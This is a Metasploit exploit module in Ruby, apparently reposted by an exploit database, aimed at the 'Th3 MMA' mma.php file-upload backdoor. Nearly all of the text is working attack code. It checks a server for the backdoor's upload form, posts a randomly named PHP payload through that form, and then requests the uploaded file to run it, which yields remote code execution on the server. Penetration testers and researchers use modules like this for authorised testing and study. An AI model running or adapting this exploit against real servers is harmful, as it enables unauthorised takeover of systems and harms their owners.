###########################

# Th3 MMA mma.php Backdoor Arbitrary File Upload Vulnerability

###########################

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'nokogiri'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info={})
super(update_info(info,
'Name' => 'Th3 MMA mma.php Backdoor Arbitrary File Upload',
'Description' => %q{
This module exploits Th3 MMA mma.php Backdoor which allows an arbitrary file upload that
leads to arbitrary code execution. This backdoor also echoes the Linux kernel version or
operating system version because of the php_uname() function.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Jay Turla <@shipcod3>',
],
'References' =>
[
['URL', 'http://blog.pages.kr/1307'] # Analysis of mma.php file upload backdoor
],
'Privileged' => false,
'Payload' =>
{
'Space' => 10000,
'DisableNops' => true
},
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' =>
[
['mma file uploader', {} ]
],
'DisclosureDate' => 'Apr 2 2012',
'DefaultTarget' => 0))

register_options(
[
OptString.new('TARGETURI',[true, "The path of the mma.php file uploader backdoor", "/mma.php"]),
],self.class) # sometimes it is under host/images/mma.php so you may want to set this one
end

def has_input_name?(nodes, name)
nodes.select { |e| e.attributes['name'].value == name }.empty? ? false : true
end

def check
uri = normalize_uri(target_uri.path)
res = send_request_cgi({
'method' => 'GET',
'uri' => uri
})

if res
n = ::Nokogiri::HTML(res.body)
form = n.at('form[@id="uploader"]')
inputs = form.search('input')
if has_input_name?(inputs, 'file') && has_input_name?(inputs, '_upl')
return Exploit::CheckCode::Appears
end
end

Exploit::CheckCode::Safe
end

def exploit
uri = normalize_uri(target_uri.path)
payload_name = "#{rand_text_alpha(5)}.php"

print_status("#{peer} - Trying to upload #{payload_name} to mma.php Backdoor")

data = Rex::MIME::Message.new

data.add_part('Upload', nil, nil, 'form-data; name="_upl"')
data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name="file"; filename="#{payload_name}"")
post_data = data.to_s

res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => post_data
})

if res
if res.body =~ /uplod d0n3 in SAME file/
print_good("#{peer} - Our payload #{payload_name} has been uploaded. Calling payload...")
register_files_for_cleanup(payload_name)
else
fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
end
else
fail_with(Failure::Unknown, 'Connection Timed Out')
end

send_request_cgi({
'uri' => normalize_uri(payload_name),
'method' => 'GET'
})
end
end

###########################

# Iranian Exploit DataBase = http://IeDb.Ir [2015-11-01]

###########################